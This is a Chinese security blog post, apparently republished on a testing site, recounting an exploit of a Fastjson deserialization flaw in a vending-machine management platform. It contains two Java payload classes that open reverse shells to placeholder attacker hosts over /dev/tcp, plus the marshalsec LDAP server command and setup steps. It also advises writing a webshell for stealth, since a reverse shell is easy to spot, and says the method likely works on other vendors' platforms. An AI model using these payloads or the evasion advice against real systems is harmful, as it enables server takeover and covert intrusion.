对某自动售货机的测试记录之命令执行

发表于:2020-6-04 10:44

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:蟋蟀哥哥    来源:安全客

  上一讲说了随手一测就发现了越权,程序员修改之后依然可以绕过鉴权。
  但是我想深挖,肯定还有其他问题。
  本次测试为授权友情测试,本文提交之前已通知厂商修复,谁让我白帽子,谁让我钱在上面呢。:)
  执行条件:
  需要拥有后台账号,任何权限都行。
  详情
  上一讲的说了越权的事,大家也注意到了,发送的POST包为Json格式。
  所以大胆猜测一下,存在fastjson的命令执行.
  fastjson的漏洞原因网上很多,我就不多说了,大家跟着来看一下我的复现过程:
  准备
  首先我们需要准备三个文件:
   marshalsec-0.0.3-SNAPSHOT-all.jar : https://github.com/mbechler/marshalsec
  Exploit.java
  Exploit.class
  Marshalsec我编译的时候遇到坑,所以大家编译的时候注意自己的JDK版本。
  Exploit.java也遇到了坑,看是网上找的是一个据说能秒杀很多版本的exp:
   import java.io.BufferedReader;
  import java.io.InputStream;
  import java.io.InputStreamReader;
  public class Exploit{
  public Exploit() throws Exception {
  //Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});
  Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
  InputStream is = p.getInputStream();
  BufferedReader reader = new BufferedReader(new InputStreamReader(is));
  String line;
  while((line = reader.readLine()) != null) {
  System.out.println(line);
  }
  p.waitFor();
  is.close();
  reader.close();
  p.destroy();
  }
  public static void main(String[] args) throws Exception {
  }
  }
  实际在利用的时候如何都不成功,浪费了我很多时间,最后是用了普通版本的exp反而成功,由此可以猜测服务器的Fastjson版本相当低.
   public class Exploit {
  public Exploit(){
  try{
  Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/yourIP:8888 0>&1"); //你需要在服务器执行的命令,我这里是反弹shell,需要修改为自己的IP和监听端口
  }catch(Exception e){
  e.printStackTrace();
  }
  }
  public static void main(String[] argv){
  Exploit e = new Exploit();
  }
  }
  准备好Exploit.java之后,使用javac命令即可编译为我们需要的Exploit.class
  准备服务
  这三个文件都可以直接放在有公网IP的服务器上.
  Marshalsec用于RMI和LDAP的服务创建.
  开启RMI或LDAP服务运行命令:
 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://IP/#Exploit
  Exploit.class需要放置在公网任何webserver下,只要目标服务器可以下载即可.
  还需要在当前服务器运行
请在文本框输入文字
  监听本地端口,该端口需要与Exploit内的端口和服务器IP一致。
  执行
  以上文件和服务都准备好之后,可以发送自己的POST包执行:
  POST包需要根据对方Fastjson版本做修改和绕过,请自行搜索.
  结果
  如果对方存在Fastjson反序列化漏洞,那么你的服务器会收到来自目标服务器的访问.:
  LDAP将会把请求Redirect到Webserver,Fastjson将会下载Exploit.class,并解析运行。
  如果一切顺利,你监听的端口将会收到反弹shell
  同时也收到了平台程序员的问询:
  思考
  运营商马上就发现了服务器被入侵,所以如果遇到是阿里云等主流云服务器,如果想隐藏自己建议不要使用反弹shell的形式,毕竟特征太明显。。比如可以考虑自动化写入Webshell
  还有就是经过我的分析,市面上的售货机管理平台的核心代码非常可能是同一套,所以该利用方式非常可能是通用的,不过其他没权限没法测试。
  修复建议
  排查所有服务的jar包风险,并升级.
 
      本文内容不用于商业目的,如涉及知识产权问题,请权利人联系博为峰小编(021-64471599-8017),我们将立即处理
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号